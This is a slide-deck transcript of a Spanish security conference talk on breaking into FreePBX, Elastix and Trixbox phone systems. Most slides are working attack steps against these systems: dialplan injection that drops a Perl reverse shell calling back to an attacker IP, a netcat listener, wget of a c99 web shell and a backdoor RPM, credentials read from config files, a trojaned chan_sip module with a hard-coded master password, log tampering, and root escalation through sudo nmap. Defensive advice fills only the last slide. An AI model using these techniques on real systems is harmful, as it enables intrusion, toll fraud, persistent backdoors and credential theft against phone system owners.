SlideShare una empresa de Scribd logo
1 de 120
FreePBX for Fun & Profit
Jose Luis Verdeguer (aka Pepelux)
                         Pepelux

    @pepeluxx

    pepeluxx@gmail.com
    verdeguer@zoonsuite.com

    http://blog.pepelux.org
    http://www.zoonsuite.es
¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?

FreePBX es una distribución basada en Asterisk.


Asterisk es un software libre que realiza funciones de centralita telefónica
(el objetivo para una empresa es sustituir a la centralita convencional).
¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?

Frente a una centralita convencional, un sistema de VoIP:


      Es más económico (gratis – sólo requiere un equipo no muy potente).


      Es mucho más flexible (extensiones ilimitadas, plan de llamadas, etc).


      Podemos realizar el mantenimiento nosotros mismos.




El único “problema” es que requiere unos mínimos conocimientos de seguridad
… o puede salirnos muy caro.
Características:

- Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, SIP).
- MySQL sin usuarios accesibles desde el exterior.
- Obliga a usar contraseñas robustas para las cuentas de la centralita.
- Administración por HTTP en claro – FAIL!
- La sesión del panel nunca caduca – FAIL!




             Aparentemente robusto desde el exterior pero …
              … una vez dentro la seguridad es muy deficiente
Supongamos que tenemos acceso a un panel de control de una FreePBX.
Supongamos que tenemos acceso a un panel de control de una FreePBX.




                      ¿ Es mucho suponer ?
Buscando servidores FreePBX con SIPvicious:




                             Última versión estable: 2.10.1
                                   //////////////////
                             Fecha escaneo: Febrero/2013
                             Máquinas vulnerables (<=2.10.0): 22/30 (73%)
                             Web accesible desde Internet: 17/30 (56%)
Como decía antes ...


Supongamos que tenemos acceso a un panel de control de una FreePBX.
Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear
una extensión para hacer llamadas gratis … hasta que nos pillen.
Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear
una extensión para hacer llamadas gratis … hasta que nos pillen.




También podemos ejecutar comandos de Asterisk desde el CLI … aunque no
permite ejecutar comandos del sistema (como ocurre desde la consola, usando '!').
Podemos ver la versión de Asterisk con 'core show version'.




O ver las llamadas activas con 'core show channels'.
Comando System de Asterisk.
Nuestro objetivo:


     Ejecutar comandos del sistema a través de llamadas telefónicas.




Para ello:


     Vamos a crear una extensión nueva que, tras llamar, ejecute un System().



             exten => XXX,1,Answer()
             exten => XXX,2,System('nuestro comando')
             exten => XXX,3,Hangup()
El problema es que FreePBX está muy limitado a la hora de definir lo que hace
una extensión, ya que se basa en lo permitido a través de la web, gestionado con
unos simples formularios.
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión
que nos permita interactuar con el sistema:
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión
que nos permita interactuar con el sistema:




Recordemos:
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión
que nos permita interactuar con el sistema:




Recordemos:
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva
extensión que nos permita interactuar con el sistema:




Sería algo así:

    Formato:

    dialplan add extension extensión, prioridad, comando, [dato] into contexto


    Ejemplo:

    dialplan add extension 999,1,Answer, into ext-local

    dialplan add extension 999,2,System,comando_del_sistema into ext-local

    dialplan add extension 999,3,Hangup, into ext-local
Intentaremos inyectar una shell que se guarde en un fichero, usando el
comando System de Asterisk:




Trataremos de usar el comando System para crear en el sistema el
siguiente script en Perl y almacenarlo en algún lugar del servidor:


use Socket;

socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));

if (connect (S, sockaddr_in(31337, inet_aton("192.168.2.9"))))
{
     open (STDIN, ">&S");
     open (STDOUT, ">&S");
     open (STDERR, ">&S");
     exec ("/bin/bash -i");
}
Las líneas a inyectar, a través del CLI, quedarían de la siguiente forma:




dialplan add extension 999,1,answer, into ext-local

dialplan add extension 999,2,system,"echo -e 'use Socket;' > /tmp/s.pl" into ext-local

dialplan add extension 999,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
>> /tmp/s.pl" into ext-local

dialplan add extension 999,4,system,"echo -e 'if(connect(S,sockaddr_in(31337,' >> /tmp/s.pl" into ext-local

dialplan add extension 999,5,system,"echo -e 'inet_aton("192.168.2.9")))){' >> /tmp/s.pl" into ext-local

dialplan add extension 999,6,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,7,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,8,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,9,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local

dialplan add extension 999,10,hangup, into ext-local
El problema es que a través de la web no podemos introducir ciertos caracteres,
por lo que hay que codificar la entrada:


75 73 65 20 53 6f 63 6b 65 74 3b 0d 0a

73 6f 63 6b 65 74 28 53 2c 50 46 5f 49 4e 45 54 2c 53 4f 43 4b 5f 53 54 52 45
41 4d 2c 67 65 74 70 72 6f 74 6f 62 79 6e 61 6d 65 28 22 74 63 70 22 29 29
3b 0d 0a

69 66 28 63 6f 6e 6e 65 63 74 28 53 2c 73 6f 63 6b 61 64 64 72 5f 69 6e 28 33
31 33 33 37 2c

69 6e 65 74 5f 61 74 6f 6e 28 22 31 39 32 2e 31 36 38 2e 32 2e 39 22 29 29
29 29 7b 0d 0a

6f 70 65 6e 28 53 54 44 49 4e 2c 22 3e 26 53 22 29 3b 0d 0a

6f 70 65 6e 28 53 54 44 4f 55 54 2c 22 3e 26 53 22 29 3b 0d 0a

6f 70 65 6e 28 53 54 44 45 52 52 2c 22 3e 26 53 22 29 3b 0d 0a

65 78 65 63 28 22 2f 62 69 6e 2f 62 61 73 68 20 2d 69 22 29 3b 7d 0d 0a
Quedando finalmente:
dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"echo -e
   'x75x73x65x20x53x6fx63x6bx65x74x3bx0dx0a' > /tmp/s.pl" into ext-local
dialplan add extension 999,3,system,"echo -e
   'x73x6fx63x6bx65x74x28x53x2cx50x46x5fx49x4ex45x54x2cx53x4fx43
   x4bx5fx53x54x52x45x41x4dx2cx67x65x74x70x72x6fx74x6fx62x79x6e
   x61x6dx65x28x22x74x63x70x22x29x29x3bx0dx0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,4,system,"echo -e
   'x69x66x28x63x6fx6ex6ex65x63x74x28x53x2cx73x6fx63x6bx61x64x64
   x72x5fx69x6ex28x33x31x33x33x37x2c' >> /tmp/s.pl" into ext-local
dialplan add extension 999,5,system,"echo -e
   'x69x6ex65x74x5fx61x74x6fx6ex28x22x31x39x32x2ex31x36x38x2ex32
   x2ex39x22x29x29x29x29x7bx0dx0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,6,system,"echo -e
   'x6fx70x65x6ex28x53x54x44x49x4ex2cx22x3ex26x53x22x29x3bx0dx0a
   ' >> /tmp/s.pl" into ext-local
dialplan add extension 999,7,system,"echo -e
   'x6fx70x65x6ex28x53x54x44x4fx55x54x2cx22x3ex26x53x22x29x3bx0d
   x0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,8,system,"echo -e
   'x6fx70x65x6ex28x53x54x44x45x52x52x2cx22x3ex26x53x22x29x3bx0d
   x0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,9,system,"echo -e
   'x65x78x65x63x28x22x2fx62x69x6ex2fx73x68x20x2dx69x22x29x3bx7d
   x0dx0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,10,hangup, into ext-local
Una vez realizada la inyección de la nueva extensión en el
dialplan, como tenemos acceso al panel, nos creamos una
cuenta para poder realizar llamadas.


Configuramos un softphone con esa cuenta.


Llamamos por teléfono a la extensión 999 para ejecutar el plan
de llamadas y crear nuestro script.
Una vez realizada la inyección de la nueva extensión en el
dialplan, como tenemos acceso al panel, nos creamos una
cuenta para poder realizar llamadas.


Configuramos un softphone con esa cuenta.


Llamamos por teléfono a la extensión 999 para ejecutar el plan
de llamadas y crear nuestro script.

Tras la llamada, tendremos el script en el sistema
(almacenado como /tmp/s.pl).
Ahora creamos otro plan de llamadas para ejecutarlo:

- Recargamos el dialplan para borrar la extensión 999:


      dialplan reload




- Volvemos a crear la extensión:


      dialplan add extension 999,1,Answer, into ext-local


      dialplan add extension 999,2,System,"perl /tmp/s.pl" into ext-local


      dialplan add extension 999,3,Hangup, into ext-local
Dejamos una terminal a la escucha con Netcat en nuestro
  equipo:


       pepelux@debian$ nc -l -p 31337




Llamamos por teléfono a la extensión 999 para ejecutar nuestro
   script.
Automatizando el proceso (script 1)
Automatizando el proceso (script 1)
Pasos a seguir:


1 - Creamos un plan de llamadas para crear el script con la shell:
pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs -ip 192.168.2.9


2 – Llamamos por teléfono para ejecutarlo.

3 - Creamos un plan de llamadas para ejecutar el script:
pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -es


4 – Ponemos una terminal a la escucha con Netcat:
pepelux@debian$ nc -l -p 31337


5 – Llamamos por teléfono para ejecutarlo.
Automatizando el proceso (script 2)
Automatizando el proceso (script 2)
Pasos a seguir:


1 – Ponemos un terminal a la escucha con Netcat:

pepelux@debian$ nc -l -p 31337


2 – Lanzamos el script:

pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto
  -call -user 206 -pass 123456asd
¡¡ Veamos un caso práctico !!



                    DEMO
(con la última versión de FreePBX: 2.210.62 – del 24/01/2013)
¿Quiénes somos y dónde estamos?
 sh-4.1$ whoami
 asterisk


 sh-4.1$ id
 uid=498(asterisk) gid=498(asterisk) groups=498(asterisk)


 sh-4.1$ uname -a; cat /etc/issue /proc/version
 uname -a; cat /etc/issue /proc/version
 Linux localhost.localdomain 2.6.32-220.13.1.el6.i686 #1 SMP Tue Apr 17
 22:09:08 BST 2012 i686 i686 i386 GNU/Linux
 CentOS release 6.2 (Final)
 Kernel r on an m


 Linux version 2.6.32-220.13.1.el6.i686 (mockbuild@c6b6.bsys.dev.centos.org)
 (gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Tue Apr 17
 22:09:08 BST 2012
Analicemos los servicios
Algunos comandos:
sh-4.1$ mysql -D mysql -u root -e "show databases"
sh-4.1$ mysql -D mysql -u root -e "show tables"
sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
Algunos comandos:
                                   ¿ Veis algo extraño ?
sh-4.1$ mysql -D mysql -u root -e "show databases"
sh-4.1$ mysql -D mysql -u root -e "show tables"
sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
Algunos comandos:
                                    ¿ Veis algo extraño ?
sh-4.1$ mysql -D mysql -u root -e "show databases"
sh-4.1$ mysql -D mysql -u root -e "show tables"
sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"




                              El usuario root NO tiene contraseña!!
Podemos darnos acceso desde el exterior:
sh-4.1$ mysql -D mysql -u root -e "grant select,insert,drop on asterisk.* to
     'pepelux'@'192.168.2.9' identified by 'mipass123';" -p


Y acceder desde nuestra máquina:
pepelux@debian$ mysql -h 192.168.2.20 -u pepelux -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 184
Server version: 5.1.61 Source distribution
…..
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.


mysql>
¿Y si el administrador ha puesto una contraseña a la cuenta de root?
¿Y si el administrador ha puesto una contraseña a la cuenta de root?


En el fichero /etc/freepbx.conf (propiedad del usuario asterisk) tenemos
  la contraseña de freepbxuser, en claro!



sh-4.1$ cat /etc/freepbx.conf
<?php
$amp_conf['AMPDBUSER']          = 'freepbxuser';
$amp_conf['AMPDBPASS']          = 'zy3upb0mHK9U';
$amp_conf['AMPDBHOST']          = 'localhost';
$amp_conf['AMPDBNAME']          = 'asterisk';
$amp_conf['AMPDBENGINE'] = 'mysql';
...
sh-4.1$ mysql -D asterisk -u freepbxuser -e "show tables" -p
Enter password:
Echemos un ojo a la web:
sh-4.1$ ls /var/www/html/admin -la
Echemos un ojo a la web:
sh-4.1$ ls /var/www/html/admin -la   ¿ Veis algo extraño ?
Echemos un ojo a la web:
sh-4.1$ ls /var/www/html/admin -la    ¿ Veis algo extraño ?




                                     Soy el propietario de la web!!
¿Qué tal si subimos una shell?


sh-4.1$ cd /var/www/html
sh-4.1$ wget 192.168.2.9/freepbx/c99.txt
sh-4.1$ mv c99.txt c99.php
¿Qué tal si subimos una shell?


sh-4.1$ cd /var/www/html
sh-4.1$ wget 192.168.2.9/freepbx/c99.txt
sh-4.1$ mv c99.txt c99.php
¿O si hacemos un ataque David Hasselhoff?
Es posible que hayamos accedido al sistema a través de un bug y no
conozcamos la contraseña del administrador … si lo actualizan,
perderemos el acceso …
Es posible que hayamos accedido al sistema a través de un bug y no
conozcamos la contraseña del administrador … si lo actualizan,
perderemos el acceso …


Además, la contraseña en la BBDD no está en claro ...


sh-4.1$ mysql -u root -D asterisk -e "select username, password_sha1 from ampusers"
¡¡¡ no hay problema !!!


… en /etc/amportal.conf (propiedad del usuario asterisk) está toda la
  configuración de FreePBX.



sh-4.1$ cat /etc/amportal.conf | grep PASS


AMPMGRPASS=amp111
CDRDBPASS=
ARI_ADMIN_PASSWORD=web01
AMPDBPASS=zy3upb0mHK9U
¡¡¡ no hay problema !!!


… en /etc/amportal.conf (propiedad del usuario asterisk) está toda la
  configuración de FreePBX.



sh-4.1$ cat /etc/amportal.conf | grep PASS


AMPMGRPASS=amp111
CDRDBPASS=
ARI_ADMIN_PASSWORD=web01         ← Contraseña en claro del administrador
AMPDBPASS=zy3upb0mHK9U
Veamos los ficheros de configuración ...


sh-4.1$ ls -la /etc/asterisk
Veamos los ficheros de configuración ...


sh-4.1$ ls -la /etc/asterisk        ¿ Veis algo extraño ?
Veamos los ficheros de configuración ...


sh-4.1$ ls -la /etc/asterisk          ¿ Veis algo extraño ?




                               Soy el propietario de Asterisk!!
¿Qué tal si usamos el servicio Manager, que por defecto viene activo?


sh-4.1$ cat /etc/asterisk/manager.conf


[general]
enabled = yes
port = 5038
bindaddr = 0.0.0.0
displayconnects=no ;only effects 1.6+


[admin]
secret = amp111
deny=0.0.0.0/0.0.0.0
permit=127.0.0.1/255.255.255.0
read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
Ya que tenemos el control de la web, nos creamos una página
“atractiva” en algún lugar oculto ...
Y la conectamos con el servicio Manager de la FreePBX ...

$sc = fsockopen(“localhost”, 5038, $errnum, $errdesc) or die(“Connection failed”);
fputs($sc, “Action: loginrn”);
fputs($sc, “Events: offrn”);
fputs($sc, “Username: adminrn”);
fputs($sc, “Secret: amp111rnrn”);
fputs($sc, “Action: originatern”);
fputs($sc, “Channel: LOCAL/$MI_TELEFONO@ext-localrn”);
fputs($sc, “WaitTime: 30rn”);
fputs($sc, “Exten: $TFNO_DE_MI_AMIGOrn”);
fputs($sc, “Context: ext-localrn”);
fputs($sc, “Priority: 1rnrn”);
fputs($sc, “Action: logoffrnrn”);
sleep(3);
fclose($sc);
Además, el servicio Manager NO está bloqueado ante accesos externos ...


pepelux@debian ~$ nmap 192.168.2.11 -p5038
Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-22 18:21 CET
Nmap scan report for 192.168.2.11
Host is up (0.000054s latency).
PORT    STATE SERVICE
5038/tcp open unknown



Si modificamos manager.conf permitiendo el acceso desde cualquier lugar ...

permit=0.0.0.0/0.0.0.0



Podremos ejecutar comandos de Asterisk remotamente …


pepelux@debian:~$ exec 3<>/dev/tcp/localhost/5038 && echo -e "Action:
  LoginnUsername:adminnSecret:amp111nEvents: offnnAction: CommandnCommand: sip show
  peersnnAction: Logoffnn" >&3 && cat <&3
A ver los módulos ...


sh-4.1$ ls -la /usr/lib/asterisk/modules/
A ver los módulos ...


sh-4.1$ ls -la /usr/lib/asterisk/modules/




                        Bueno, al menos son propiedad de root!!!
                          parece que no los podemos modificar ...
¿ O sí que podemos ?
¿ O sí que podemos ?


Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los
     módulos, es propiedad del usuario asterisk …
¿ O sí que podemos ?

Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los
     módulos, es propiedad del usuario asterisk …




            ¿ Qué nos impide copiar los módulos en otra ruta
                       y modificar asterisk.conf ?
Buscamos un directorio con permisos de escritura y copiamos los módulos:


sh-4.1$ mkdir /var/lib/asterisk/moh/modules
sh-4.1$ cp /usr/lib/asterisk/modules/* /var/lib/asterisk/moh/modules/
Modificamos el fichero asterisk.conf cambiando la ruta de los módulos:
sh-4.1$ cd /etc/asterisk
sh-4.1$ mv asterisk.conf asterisk.conf.cop


sh-4.1$ echo "[directories]">asterisk.conf
sh-4.1$ echo "astetcdir => /etc/asterisk">>asterisk.conf
sh-4.1$ echo "astmoddir => /var/lib/asterisk/moh/modules">>asterisk.conf
sh-4.1$ echo "astvarlibdir => /var/lib/asterisk">>asterisk.conf
sh-4.1$ echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.conf
sh-4.1$ echo "astspooldir => /var/spool/asterisk">>asterisk.conf
sh-4.1$ echo "astrundir => /var/run/asterisk">>asterisk.conf
sh-4.1$ echo "astlogdir => /var/log/asterisk">>asterisk.conf


sh-4.1$ echo "[options]">>asterisk.conf
sh-4.1$ echo "transmit_silence_during_record = yes">>asterisk.conf
sh-4.1$ echo "languageprefix=yes">>asterisk.conf
sh-4.1$ echo "execincludes=yes">>asterisk.conf
Reiniciamos el Asterisk ...
sh-4.1$ asterisk -rx "core restart when convenient"
Reiniciamos el Asterisk ...
sh-4.1$ asterisk -rx "core restart when convenient"




Verificamos qué módulos hay en uso ...
sh-4.1$ fuser -v /usr/lib/asterisk/modules/res_curl.so


sh-4.1$ fuser -v /var/lib/asterisk/moh/modules/res_curl.so
USER        PID ACCESS COMMAND
/var/lib/asterisk/moh/modules/res_curl.so:
asterisk   2565 ....m asterisk
Y digo yo …
Y digo yo … Si Asterisk es de código libre y somos capaces de
cambiar un módulo en la FreePBX ...
Y digo yo … Si Asterisk es de código libre y somos capaces de
cambiar un módulo en la FreePBX ...


¿Qué tal si modificamos chan_sip.c (encargado de validar los peers) y
creamos una contraseña maestra, por código, que valide a cualquier
usuario, y luego sustituimos nuestro chan_sip.so por el original?
Función de chan_sip.c que valida el registro de los peers:


/*! brief Check user authorization from peer definition
Some actions, like REGISTER and INVITEs from peers require
authentication (if peer have secret set)
     return 0 on success, non-zero on error
*/
static enum check_auth_result check_auth(struct sip_pvt *p, struct sip_request
*req, const char *username,
const char *secret, const char *md5secret, int sipmethod,
const char *uri, enum xmittype reliable, int ignore)
{
….......
}
Validación del peer:

if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); }
else {
    char a1[256];
    snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret);
    ast_md5_hash(a1_hash, a1);
}


/* compute the expected response to compare with what we received */
{
    char a2[256]; char a2_hash[256]; char resp[256];
    snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));
    ast_md5_hash(a2_hash, a2);
    snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash);
    ast_md5_hash(resp_hash, resp);
}


good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
Añadiendo estas pocas líneas permitiremos que cualquier usuario valide
con la contraseña 31337:

if (good_response == 0) {
    char a1[256], char a2[256]; char a2_hash[256]; char resp[256];


    strcpy(secret, "31337");
    snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret);
    ast_md5_hash(a1_hash, a1);


    snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));
    ast_md5_hash(a2_hash, a2);
    snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash);
    ast_md5_hash(resp_hash, resp);


    good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
}
Compilamos en nuestra máquina el módulo y lo subimos al servidor de
FreePBX:


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
Compilamos en nuestra máquina el módulo y lo subimos al servidor de
FreePBX:


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...
sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Compilamos en nuestra máquina el módulo y lo subimos al servidor de
FreePBX:


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...
sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Unable to load module chan_sip.so
Command 'module load chan_sip.so' failed.
Compilamos en nuestra máquina el módulo y lo subimos al servidor de
FreePBX:


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...
sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Unable to load module chan_sip.so
Command 'module load chan_sip.so' failed.


Asterisk no nos permite meter un
módulo de otra compilación!!
Pero …
Pero …


Y si nos descargamos el chan_sip.so original a nuestra máquina ...
sh-4.1$ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/
pepelux@debian$ wget http://192.168.2.20/chan_sip.so


Y lo comparamos con la copia usando el comando strings:
pepelux@debian$ strings chan_sip_orig.so
__gmon_start__
__cxa_finalize
_Jv_RegisterClasses
ast_str_append
….......
_ast_calloc
95089850e3c922fa176f9bd274fd8109 ← Huella del fichero original
pepelux@debian$ strings chan_sip_cop.so
__gmon_start__
__cxa_finalize
_Jv_RegisterClasses
ast_str_append
….......
;*2$"
47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado
pepelux@debian$ strings chan_sip_cop.so
__gmon_start__
__cxa_finalize
_Jv_RegisterClasses
ast_str_append
….......
;*2$"
47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado


Con un editor hexadecimal le ponemos al nuevo fichero la huella del
  original.
Repetimos el proceso …


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
Repetimos el proceso …


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...


sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Repetimos el proceso …


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...


sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Loaded module chan_sip.so
Repetimos el proceso …


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...


sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Loaded module chan_sip.so


                                     Hemos troyanizado el Asterisk!!
Repetimos el proceso …


sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so


Recargamos el módulo ...


sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Loaded module chan_sip.so


                                     Hemos troyanizado el Asterisk!!
¡¡ Veamos un caso práctico !!



                    DEMO
(con la última versión de FreePBX: 2.210.62 – del 24/01/2013)
El problema es que con todo esto, habremos dejado muchos logs ...
El problema es que con todo esto, habremos dejado muchos logs ...


No pasa nada, los logs también son propiedad del usuario asterisk!


sh-4.1$ ls -la /var/log/asterisk -la
El problema es que con todo esto, habremos dejado muchos logs ...


No pasa nada, los logs también son propiedad del usuario asterisk!


sh-4.1$ ls -la /var/log/asterisk -la
Además de todo esto, si la versión de FreePBX es <= 2.10.0 …

sh-4.1$ cat /etc/sudoers

asterisk ALL = NOPASSWD: /sbin/shutdown
asterisk ALL = NOPASSWD: /usr/bin/nmap
asterisk ALL = NOPASSWD: /usr/bin/yum
asterisk ALL = NOPASSWD: /bin/touch
asterisk ALL = NOPASSWD: /bin/chmod
asterisk ALL = NOPASSWD: /bin/chown
asterisk ALL = NOPASSWD: /sbin/service
asterisk ALL = NOPASSWD: /sbin/init
asterisk ALL = NOPASSWD: /usr/sbin/postmap
asterisk ALL = NOPASSWD: /usr/sbin/postfix
asterisk ALL = NOPASSWD: /usr/sbin/saslpasswd2
uucp ALL = NOPASSWD: /bin/chmod
asterisk ALL = NOPASSWD: /usr/sbin/hardware_detector
asterisk ALL = NOPASSWD: /sbin/chkconfig
¡ Podemos rootear la máquina !

sh-4.1$ sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h for help

nmap> !sh
id
uid=0(root) gid=0(root) groups=0(root)
Otros sistemas

La web es mucho más estricta y no podemos inyectar el script desde el CLI
Otros sistemas

La web es mucho más estricta y no podemos inyectar el script desde el CLI


Pero trae un editor de ficheros que nos permite crear un nuevo fichero con la shell:




Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI):
dialplan reload
dialplan add extension 999,1,answer, into from-internal
dialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internal
dialplan add extension 999,3,hangup, into from-internal
Otros sistemas


Durante la instalación nos obliga a poner una contraseña al usuario root de mysql.
Otros sistemas


Durante la instalación nos obliga a poner una contraseña al usuario root de mysql.


Pero:


bash-3.2$ cat /etc/elastix.conf
mysqlrootpwd=asterisk01 ← Contraseña de root para mysql
cyrususerpwd=asterisk01 ← Contraseña de IMAPd
amiadminpwd=web01 ← Contraseña del administrador de la web
Otros sistemas

Una vez dentro, lo mismo que antes.


bash-3.2$ id
uid=100(asterisk) gid=101(asterisk)


La web es propiedad del usuario asterisk.


Los ficheros de configuración de Asterisk son también propiedad del usuario asterisk,
y el proceso para cambiar un módulo es el mismo.


Una vez tenemos acceso al sistema, la configuración es prácticamente la misma que
en una FreePBX.
Otros sistemas

En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del
fichero sudoers ...
Otros sistemas

En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del
fichero sudoers … pero olvidaron quitar los permisos para el comando yum

bash-3.2$ cat /etc/sudoers

asterisk ALL = NOPASSWD: /sbin/shutdown

asterisk ALL = NOPASSWD: /usr/bin/yum

...



Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !


bash-3.2$ wget http://x.x.x.x/backdoor.rpm

bash-3.2$ sudo yum localinstall backdoor.rpm
Otros sistemas

La web no trae interfaz de comandos (CLI)
Otros sistemas

La web no trae interfaz de comandos (CLI)
Pero trae un editor de ficheros que nos permite modificar ficheros de configuración:




Creamos a mano el plan de llamadas en extensions.conf:
[from-internal]
exten => 999,1,answer()
exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf)
exten => 999,3,hangup()
Otros sistemas

Una vez dentro, lo mismo que antes.


bash-3.2$ id
uid=100(asterisk) gid=101(asterisk)


bash-3.2$ grep AMPDB /etc/amportal.conf
AMPDBNAME=asterisk ← BBDD de Asterisk
AMPDBUSER=asteriskuser ← Usuario para mysql
AMPDBPASS=amp109 ← Contraseña para mysql


La web y el Asterisk, también son propiedad del usuario asterisk, al igual que en las
otras distribuciones.
Otros sistemas

En Trixbox siguen estando nmap y yum permitidos en el fichero sudoers ….


bash-3.2$ cat /etc/sudoers

asterisk ALL = NOPASSWD: /sbin/shutdown
asterisk ALL = NOPASSWD: /usr/bin/nmap
asterisk ALL = NOPASSWD: /usr/bin/yum
asterisk ALL = NOPASSWD: /bin/chown
asterisk ALL = NOPASSWD: /bin/chmod
….......


Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !
Consecuencias
¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ?

No puede ser tan grave …
Consecuencias
¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ?

No puede ser tan grave … ¿ o sí ?
Soluciones
Si no sabemos configurar un Asterisk de forma manual y necesitamos usar este tipo
de plataformas, debemos tomar unas mínimas medidas de seguridad:

- Restringir el acceso a la web únicamente desde la red local.

- Bloquear todos los accesos procedentes de Internet salvo SIP, si es necesario.

- Proteger la web con usuario y contraseña mediante un htaccess.

- Evitar el uso de redes inalámbricas que puedan poner en peligro nuestra red.

- Configurar correctamente los servicios de Asterisk (configuraciones, contextos, ...).

- Mantener el sistema siempre actualizado.
Si queréis saber más sobre seguridad en entornos de VoIP ...
¡ Espero que os haya gustado !
   Jose Luis Verdeguer (aka Pepelux)
                            Pepelux

       @pepeluxx

       pepeluxx@gmail.com
       verdeguer@zoonsuite.com

       http://blog.pepelux.org
       http://www.zoonsuite.es




 ¿ Preguntas ?

Más contenido relacionado

La actualidad más candente

Usando el módulo PIKE en Elastix MT
